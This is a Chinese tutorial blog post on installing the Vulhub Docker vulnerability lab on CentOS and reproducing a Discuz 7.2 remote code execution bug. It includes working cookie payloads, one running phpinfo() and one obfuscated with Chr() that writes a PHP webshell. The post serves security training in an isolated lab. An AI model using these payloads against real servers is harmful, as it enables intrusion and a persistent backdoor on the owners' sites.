vulhub漏洞試驗場,讓小白體驗滲透服務器的樂趣!

官方網站給出的定義是:Vulhub是一個基於docker和docker-compose的漏洞環境集合,進入對應目錄並執行一條語句即可啟動一個全新的漏洞環境,讓漏洞復現變得更加簡單,讓安全研究者更加專注於漏洞原理本身。當你使用了這個靶場後你會發現真的是開箱即用,包括安全方面的培訓,你的關注點不再是如何重現漏洞,更多的精力可以放在研究上面了。

更新阿里源並升級系統

mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.backup#備份

wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo#下載阿里源

yum clean all#清理緩存

yum makecache#生成緩存

yum update#升級軟件

安裝 Docker Engine-Community

使用 Docker 倉庫進行安裝

在新主機上首次安裝 Docker Engine-Community 之前,需要設置 Docker 倉庫。之後,您可以從倉庫安裝和更新 Docker。

設置倉庫

安裝所需的軟件包。yum-utils 提供了 yum-config-manager ,並且 device mapper 存儲驅動程序需要 device-mapper-persistent-data 和 lvm2。

$ sudo yum install -y yum-utils \\ device-mapper-persistent-data \\ lvm2

使用以下命令來設置穩定的倉庫。

$ sudo yum-config-manager \\ --add-repo \\ https://download.docker.com/linux/centos/docker-ce.repo


可以查看所有倉庫中所有docker版本,並選擇特定版本安裝 1、 yum list docker-ce --showduplicates | sort –r

docker-ce.x86_64 3:18.09.1-3.el7 docker-ce-stabledocker-ce.x86_64 3:18.09.0-3.el7 docker-ce-stabledocker-ce.x86_64 18.06.1.ce-3.el7 docker-ce-stabledocker-ce.x86_64 18.06.0.ce-3.el7 docker-ce-stable

通過其完整的軟件包名稱安裝特定版本,該軟件包名稱是軟件包名稱(docker-ce)加上版本字符串(第二列),從第一個冒號(:)一直到第一個連字符,並用連字符(-)分隔。例如:docker-ce-18.09.1。

$ sudo yum install docker-ce-<version> docker-ce-cli-<version> containerd.io/<version>/<version>

啟動 Docker。

$ sudo systemctl start docker


安裝Docker-Compose

curl -L `uname -s`-`uname -m` > /usr/local/bin/docker-compose

chmod +x /usr/local/bin/docker-compose


下載vulhub

git clone https://github.com/vulhub/vulhub.git


靶場使用

選擇漏洞環境,在Vulhub中選擇某個環境,cd進入對應目錄

$ cd vulhub/discuz/wooyun-2010-080723/

可選。可以通過vi編輯其中的docker-compose.yml,修改端口和賬號密碼

$ vi docker-compose.yml ​

啟動環境:

$ docker-compose up -d # 啟動環境

$ docker-compose down # 關閉環境,需要在該環境目錄下執行

可選。編譯環境。啟動環境後,會自動查找當前目錄下的配置文件。

如果配置文件中包含的環境均已經存在,則不會再次編譯,反之則會自動進行編譯。所以,其實docker-compose up -d命令是包含了docker-compose build的。

但是如果更新了配置文件,則需要手工來重新編譯靶場環境。

$ docker-compose build

物理機訪問容器

經過上面的配置,已經可以在虛擬機Centos7中使用瀏覽器訪問對應的漏洞環境。但此時物理機是無法通過瀏覽器訪問漏洞環境的,需要手動配置靜態路由,將通往Docker的數據包交給虛擬機192.168.1.13來轉發

先查看一下Docker容器的IP

$ docker ps # 查看運行服務端口

CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES

a4eed382479c vulhub/discuz:7.2 "docker-php-entrypoi…" About a minute ago Up About a minute 0.0.0.0:8080->80/tcp wooyun-2010-080723_discuz_1

15b46d6919a9 mysql:5.5 "docker-entrypoint.s…" About a minute ago Up About a minute 3306/tcp wooyun-2010-080723_db_1


$ docker inspect [容器ID] | grep IPAddress # [容器ID]為漏洞環境所在容器,此處為a4eed382479c

# "IPAddress": "172.18.0.3"

先關閉虛擬機防火牆

$ systemctl stop firewalld.service

物理機使用管理員模式打開CMD

$ route add -p 172.18.0.0 mask 255.255.0.0 192.168.1.13 # -p 永久路由,重啟系統路由仍有效

$ route print # 打印當前路由表

================================================================

永久路由:

網絡地址 網絡掩碼 網關地址 躍點數

172.18.0.0 255.255.0.0 192.168.1.13 1

================================================================

啟動環境

選擇漏洞環境。首先在Vulhub中選擇靶場環境,cd進入對應目錄

$ cd vulhub/discuz/wooyun-2010-080723/

修改端口和賬號密碼(可選)。可以通過vi編輯其中的docker-compose.yml來進行修改

$ vi docker-compose.yml

啟動環境

$ docker-compose up -d # 啟動環境

# Starting wooyun-2010-080723_db_1 ... done

# Starting wooyun-2010-080723_discuz_1 ... done


查看靶機運行端口

# 主要看容器ID和端口,然後通過容器ID查看IP

$ docker ps # 查看運行服務端口

================================================

CONTAINER ID IMAGE PORTS

a4eed382479c vulhub/discuz:7.2 0.0.0.0:8080->80/tcp

================================================


$ docker inspect [容器ID] | grep IPAddress # [容器ID]為漏洞環境所在容器,此處為a4eed382479c

# "IPAddress": "172.18.0.3"


復現步驟

瀏覽器訪問http://[IP]:[Port]/install/,安裝數據庫。數據庫服務器填寫db,數據庫名為discuz,數據庫賬號密碼均為root,管理員密碼任意。填寫聯繫方式頁面直接點擊跳過本步後跳轉到首頁

登錄成功後進入默認板塊,開啟Burp抓包,然後隨便點擊一篇貼子

將Cookie修改為下面,點擊放包

# EXP

Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();


=====================================================================================

# 此時完整的報文如下:

GET /viewthread.php?tid=13&extra=page%3D1 HTTP/1.1

Host: 172.18.0.3

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3

Referer: http://172.18.0.3/forumdisplay.php?fid=2

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();

Connection: close

=====================================================================================


此時可以看到phpinfo()被執行

vulhub漏洞試驗場,讓小白體驗滲透服務器的樂趣!

前臺GetShell

同樣方法傳入以下Cookie寫入一句話木馬文件,文件為x.php,密碼為pwd

# EXP

Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval(Chr(102).Chr(112).Chr(117).Chr(116).Chr(115).Chr(40).Chr(102).Chr(111).Chr(112).Chr(101).Chr(110).Chr(40).Chr(39).Chr(120).Chr(46).Chr(112).Chr(104).Chr(112).Chr(39).Chr(44).Chr(39).Chr(119).Chr(39).Chr(41).Chr(44).Chr(39).Chr(60).Chr(63).Chr(112).Chr(104).Chr(112).Chr(32).Chr(64).Chr(101).Chr(118).Chr(97).Chr(108).Chr(40).Chr(36).Chr(95).Chr(80).Chr(79).Chr(83).Chr(84).Chr(91).Chr(112).Chr(119).Chr(100).Chr(93).Chr(41).Chr(63).Chr(62).Chr(39).Chr(41).Chr(59))


vulhub漏洞試驗場,讓小白體驗滲透服務器的樂趣!

訪問http://[IP]:[Port]/x.php,POST數據測試成功,且使用蟻劍連接也成功

vulhub漏洞試驗場,讓小白體驗滲透服務器的樂趣!

其它

復現完之後可以通過以下命令關閉環境,但注意此命令需要在對應環境目錄下執行

$ docker-compose down

# Stopping wooyun-2010-080723_discuz_1 ... done

# Stopping wooyun-2010-080723_db_1 ... done

# Removing wooyun-2010-080723_discuz_1 ... done

# Removing network wooyun-2010-080723_default


檢查是否關閉

$ docker ps

上述內容不知道大家學習到了嗎?網絡世界的安全漏洞每天都會出現,安全知識和安全意識每個公民都應該瞭解和學習,有想學習網絡安全技能的小夥伴可以隨時私信我哦!


分享到:


相關文章: